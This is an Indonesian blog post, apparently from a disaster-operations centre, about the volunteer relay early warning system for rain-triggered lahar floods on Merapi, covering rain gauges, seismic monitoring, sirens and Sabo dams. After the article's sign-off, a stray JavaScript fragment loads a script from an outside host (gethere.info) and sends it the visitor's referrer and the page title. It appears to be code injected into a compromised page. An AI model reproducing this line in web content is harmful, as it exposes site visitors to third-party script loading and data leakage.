“ ESTAFET” Early Warning System

0

PUSDALOPS, Teringat kejadian banjir lahar hujan beberapa tahun yang lalu, saya terusik untuk menulis mengenai sistim estafet peringatan dini pada banjir lahar hujan Merapi. Hal ini sebetulnya sudah berlangsung bertahun tahun pada wilayah Merapi khususnya pada pasca erupsi sejauh pengamatan kami.

Rekan rekan komunitas relawan pada bantaran sungai sungai tersebut sudah terbiasa melakukan hal ini dengan pengamatan visual dan audio yaitu mendung sampai terjadinya hujan dan dan suara gemuruh serta suara sinyal puncak, namun untuk sistim  curah hujan di hulu sungai atau pada wilayah cakupan area tadah hujan sungai sungai Merapi  dulu belum ada seperti saat ini. Sebagai contoh pada ARG ( Automatic Rain Gauge) puncak Plawangan dan hulu Gendol. Kalaupun ada pada versi telemetri PBA saat itu hanya ada di titik Turgo dan Kaliadem saja.

Dalam pengamatan kami selama ini ARG pada hulu sungai sungai tersebut sangat penting perannya, dalam parameter hujan  tertentu biasanya akan diikuti perubahan audio dan visual grafik seismik yang jika semakin membesar amplitudonya semakin besar pula kapasitas alirannya, durasi aliran pun dapat terbaca karena sensor seismik sangat peka terhadap getaran bumi salah satunya getaran yang diakibatkan pergerakan material lahar hujan. Ada juga ARG yang dipasang beberapa kilometer di bawahnya, dengan harapan akan dapat memantau jika terjadi hujan akan menambah debit dan memungkinkan kapasitas dan jauhnya aliran bertambah.

Relawan di bantaran akan menangkap informasi yang di sampaikan melalui Posko Pemantauan dari awal turun hujan dan seterusnya. Jika tanda tanda aliran muncul maka akan disampaikan kepada rekan yang ada di bawahnya dan seterusnya secara estafet. Pada titik lokasi tertentu aliran akan mengecil dan berhenti seiring intensitas dan durasi hujan pada wilayah ARG.

Jadi idealnya atau secara faktual EWS pada lahar hujan adalah estafet warning, perangkat EWS  manual masih sangat efektif fungsinya, tentu personil operatornya harus jeli menangkap informasi baik dari Stasiun Induk Pemantauan maupun rekan rekan yang terposisi diatasnya.

Hujan yang tidak terjadi di wilayah ARG sekunder pun tetap akan menimbulkan banjir lahar namun jika intensitasnya cukup tinggi dan durasi lama serta sedimen materialnya masih cukup banyak, sekali lagi estafet informasi sangat dibutuhkan dari sungai pada dataran tinggi berurut  ke sungai di bawahnya.

Persoalan sampai saat ini hampir tidak mungkin banjir lahar hujan mendapat perlakuan seperti banjir air biasa dengan sistim buka tutup seperti banjir di Jakarta. Perlakuan banjir lahar hujan yang dilakukan dengan melakukan  metode pengereman dengan pembuatan Sabo dam dan kantong lahar seperti tahun tahun sebelumya.

Faktor ARG pada hulu sungai atau pada cakupan tadah hujan pada sungai tersebut sangatlah vital fungsinya di samping ARG sekunder dan sistem analis pada instrument warning di induk serta kesiapan perangkat EWS Sirine disamping komunikasi yang cepat dan akurat.

Sangatlah kami berharap semua sistem terkait bahaya sekunder Merapi akan terus berfungsi normal terutama pada musim penghujan, hal itu tentu dibutuhkan sinergi atau kerjasama antar instansi yang berwenang. Semoga. (den)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.